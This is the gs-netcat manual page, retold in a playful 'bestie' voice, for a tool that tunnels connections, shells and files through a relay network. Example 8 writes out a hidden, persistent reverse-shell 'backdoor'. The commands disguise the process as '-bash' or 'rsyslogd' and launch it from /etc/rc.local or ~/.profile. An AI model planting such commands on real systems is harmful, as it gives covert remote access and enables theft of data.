GS-NETCAT(1)

💖 GS-NETCAT(1) — the gs-netcat manual, bestie edition 🦋

okay so this is gs-netcat, from the General Commands Manual, and I am so excited to walk you through it. it's long, it's juicy, and we're doing it in parts. buckle up. ✨

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✨ NAME ✨

gs-netcat — transfer data, forward traffic and execute commands on a remote host. Securely. 💅

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🌸 SYNOPSIS 🌸

gs-netcat [-rlgvqwCTSDiu] [-s secret] [-k keyfile] [-L logfile] [-d IP]
          [-p port] [-e cmd]

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🎀 DESCRIPTION 🎀

so gs-netcat is a re-implementation of netcat, right? except it lets two or more users set up a secure TCP connection with each other even when everybody is stuck behind a NAT/Firewall and literally cannot connect to each other directly. the classic scenario: one workstation talking to another workstation on a totally different Local Area Network. no cap. 🫶

instead of direct TCP connections, it uses the Global Socket Relay Network (GSRN). neither workstation has to open a port in their firewall or accept incoming TCP connections. not me being obsessed with a tool that just works through your firewall. 🙈

the connection is end-2-end encrypted using SRP (RFC 5054) with AES-256 and a 4096 Prime. the GSRN only ever sees the encrypted traffic. iconic behavior, honestly. 👑

common uses include:

• simple TCP proxies
• PTY shell
• File transfer
• a SOCKS ProxyCommand for ssh(1)
• and much, much more.

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💅 OPTIONS 💅

• -C — Disable encryption and use clear-text instead. Use with caution. like, genuinely, be careful bestie.
• -d ip — Destination IPv4 address for port forwarding.
• -D — Daemon & Watchdog mode. Starts gs-netcat as a background process and restarts it if it gets killed. it's giving unkillable. 💀
• -e cmd — Execute command and send output to the connected client. Needs -l.
• -g — Generate a secure random password and output it to standard output. free strong password, slay. 🎀
• -i — Interactive login shell. The server spawns a true PTY login shell. The client acts as a true PTY client (with Ctrl-C etc. working). The client can terminate the session by typing 'Ctrl-e q' at any time or by typing 'exit'. The server supports multiple clients at the same time. (multiple clients?! the way this serves a whole group chat ✨)
• -k file — A file containing the password.
• -l — Server/Listening mode. The default mode is client. so if you don't say -l, you're the client, periodt.
• -L file — Log file [default: standard out]
• -p port — Port to listen on or to forward traffic to [1-65535].
• -q — Quiet mode. Do not output any warnings or errors. shhh. 🤫
• -r — Receive-only. Do not send any data. Terminate when no more data is available for reading.
• -s secret — A password chosen by the user. Both users need to use the same password to connect.
• -S — Act as a SOCKS4/4a/5 server. The server acts as a SOCKS4/4a/5 proxy. It allows multiple gs-netcat clients to (securely) relay traffic via the server. Needs -l.
• -T — Use TOR. The gs-netcat tool will connect via TOR to the GSRN. This requires TOR to be installed and running. The IP and PORT of the TOR server can be set using environment variables.
• -t — Connect to the GSRN (only) and check if the peer is listening. Do not connect the peer. just a lil vibe check on your peer 👀
• -u — Use UDP instead of TCP for port forwarding. Needs -p.
• -v — Prints status messages. Use -vv to be more verbose and -vvv to be insanely verbose. we love a chatty king. 🗣️
• -w — Client to wait for the listening server to become available.

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🖥️ CONSOLE 🖥️

the interactive login shell (-i) has a command console. Pressing 'Ctrl-e c' (e for EEEElite) opens the command console. the command console displays the following information:

• Latency (in milliseconds) to the remote host
• Warning when a user logs into the system or becomes active
• Data throughput
• File transfer logs

Type 'help' for a list of available commands. 💜

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📁 FILETRANSFER 📁

File transfer is available from the command console. Files are transferred with the permission and modification timestamp unchanged. Partially transferred files are re-started where the transfer was left off. (yes bestie, it resumes. we love resilience. 🌈)

the 'put' command is used for uploading:

put foobar.txt
put $HOME/foobar.txt
put /tmp/*.log
put $(find. -type f -name '*.c')

(The above example shows Shell Variable substitution and word expansion) ✨

It is possible to limit the amount of path information that is sent as implied directories for each path you specify. You can insert a dot and a slash into the source path, like this:

put /foo/./bar/baz.c

That would create /tmp/bar/baz.c on the remote machine. (the . is doing sneaky main character work here 🎀)

the 'get' command is used for downloading:

get foobar.txt
get $(find /var/./ -name '*.log')

Transferring a directory automatically transfers all files and directories within that directory (recursively):

get /var/log
get /

The first command transfers all directories and files in /var/log/*. The latter command transfers the entire filesystem. 😭 (the ENTIRE filesystem. girl. be careful.)

Multiple get/put commands can be scheduled at the same time. multitasking queen. 👑

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🌟 EXAMPLES 🌟

Example 1 — Listen for a new connection using the password 'MySecret':

$ gs-netcat -s MySecret -l

Connect with client using the same password:

$ gs-netcat -s MySecret

Example 2 — spawn a PTY login shell when a client connects:

$ gs-netcat -s MySecret -l -i

Log in to server's interactive shell:

$ gs-netcat -s MySecret -i

Log in via TOR:

$ gs-netcat -s MySecret -i -T

Log in via a Socks5 Proxy:

$ export GSOCKET_SOCKS_IP=127.0.0.1
$ export GSOCKET_SOCKS_PORT=1080
$ gs-netcat -s MySecret -i -T

Example 3 — Execute a command when a client connects:

$ gs-netcat -s MySecret -l -e 'echo hello world; id; exit'

Connect client to the server:

$ gs-netcat -s MySecret

Example 4 — Pipe data from client to server:

$ gs-netcat -s MySecret -l -r >warez.tar.gz

Client to read 'warez.tar.gz' and pipe it to the server.

$ gs-netcat -s MySecret <warez.tar.gz

Example 5 — Server to act as a SOCKS4/4a/5 server:

$ gs-netcat -s MySecret -l -S

Client to listen on TCP port 1080 and forward any new connection to the server's SOCKS server:

$ gs-netcat -s MySecret -p 1080

Example 6 — TCP Port Forward all connections to 192.168.6.7:22. Server:

$ gs-netcat -s MySecret -l -d 192.168.6.7 -p 22

Client to listen on TCP port 2222 and forward any new connection to the the server. The server then forwards the connection to 192.168.6.7:22.

$ gs-netcat -s MySecret -p 2222
$ ssh -p 2222 root@127.0.0.1

The same using 1 command:

$ ssh -o ProxyCommand='gs-netcat -s MySecret' root@ignored

Example 7 — Creating an SFTP server using gs-netcat:

$ gs-netcat -s MySecret -l -e /usr/lib/sftp-server

The sftp-server binary speaks the sftp-protocol to stdin/stdout. The sftp binary also speaks sftp-protocol to stdin/stdout. The tool can be used to connect both via GSRN (encrypted) and access the SFTP server running on the server's side from the client via the GSRN (encrypted).:

$ export GSOCKET_ARGS='-s MySecret'
$ sftp -D gs-netcat

Example 8 — Encrypted Reverse PTY shell hidden as '-bash' in the process list - also known as 'backdoor':

$ (GSOCKET_ARGS="-s MySecret -liqD" exec -a -bash gs-netcat)

The following line in /etc/rc.local starts the backdoor after each system reboot:

GSOCKET_ARGS="-s MySecret -liqD" HOME=/root TERM=xterm-256color
SHELL="/bin/bash" /bin/bash -c "cd $HOME; exec -a rsyslogd
/usr/local/bin/gs-netcat"

The following line in /etc/rc.local starts a port-forward to 127.0.0.1:22:

GSOCKET_ARGS="-k MySecret2 -lqD -d 127.1 -p22" /bin/bash -c "exec
-a rsyslogd /usr/local/bin/gs-netcat"

The following line in the user's ~/.profile starts the backdoor (once) when the user logs in. All in one line:

killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s MySecret3
-liqD" SHELL=/bin/bash exec -a -bash /usr/local/bin/gs-netcat)

The '(...)' brackets start a sub-shell which is then replaced (by exec) with the gs-netcat process. The process is hidden (as -bash) from the process list. 🫣

Client to connect to the backdoor:

$ gs-netcat -s MySecret -i

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🌱 ENVIRONMENT 🌱

The following environment variables can be set to control the behavior of gs-netcat

• GSOCKET_SOCKS_IP — Specify the IP address of the TOR server (or any other SOCKS server). Use together with -T. Default is 127.0.0.1.
• GSOCKET_SOCKS_PORT — The port number of the TOR server (or any other SOCKS server). Use together with -T. Default is 9050.
• GSOCKET_ARGS — A string containing additional command line parameters. First the normal command line parameters are processed and then the command line parameters from GSOCKET_ARGS.

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🔒 SECURITY 🔒

Passing the password as command line parameter is not secure. Consider using the -k option or GSOCKET_ARGS or enter the password when prompted:

$ gs-netcat -k <file>

$ export GSOCKET_ARGS="-s MySecret"
$ gs-netcat

1. The security is end-2-end. This means from User-2-User (and not just to the GSRN). The GSRN relays only (encrypted) data to and from the users.
2. The session is 256 bit and ephemeral. It is freshly generated for every session and generated randomly (and is not based on the password). It uses OpenSSL's SRP with AES-256 and a 4096 Prime.
3. The password can be 'weak' without weakening the security of the session. A brute force attack against a weak password requires a new TCP connection for every guess.
4. Do not use stupid passwords like 'password123'. Malice might pick the same (stupid) password by chance and connect. If in doubt use gs-netcat -g to generate a strong one. Alice's and Bob's password should at least be strong enough so that Malice can not guess it by chance while Alice is waiting for Bob to connect.
5. If Alice shares the same password with Bob and Charlie and either one of them connects then Alice can not tell if it is Bob or Charlie who connected.
6. Assume Alice shares the same password with Bob and Malice. When Alice stops listening for a connection then Malice could start to listen for the connection instead. Bob (when opening a new connection) can not tell if he is connecting to Alice or to Malice. Use -a <token> if you worry about this. TL;DR: When sharing the same password with a group larger than 2 then it is assumed that everyone in that group plays nicely. Otherwise use SSH over the GS/TLS connection.
7. SRP has Perfect Forward Secrecy. This means that past sessions can not be decrypted even if the password becomes known. 💖

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📝 NOTES 📝

The latest version is available from https://github.com/hackerschoice/gsocket/.

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👀 SEE ALSO 👀

gsocket(1), gs-sftp(1), gs-mount(1), blitz(1), nc(1), socat(1)

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okay that's part 1 bestie, and there's more coming so don't go anywhere 🌸💅

🐛 BUGS (yes bestie, we're doing the bug section) 🐛

Okay so real talk for a sec — the devs have genuinely tried to make gs-netcat "do the right thing" in all of its various modes. Like, they put in the effort, they really did. 💅

But if you're out here and you believe it's doing the wrong thing under whatever circumstances — no matter how weird or specific or "why would anyone even do that" the situation is — please, do not gatekeep. Notify the maintainer and spill the tea:

• 📧 email: skyper@thc.org

And when you do, tell them how you think it should behave. Don't just say "it's broken, fix it 💀" — tell them what you expected it to do instead. That's the whole vibe check. 🫶

lowkey this is a "help me help you" moment — the more you explain what the right behavior looks like to you, the more likely it gets fixed. iykyk ✨

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🎀 that's a wrap, bestie 🎀

And that's the whole page, fr fr. This one came from the Debian side of things, dated October 08, 2020, and it's filed under GS-NETCAT(1). 👑

Go forth and gs-netcat responsibly. You got this. 🌸🦋💖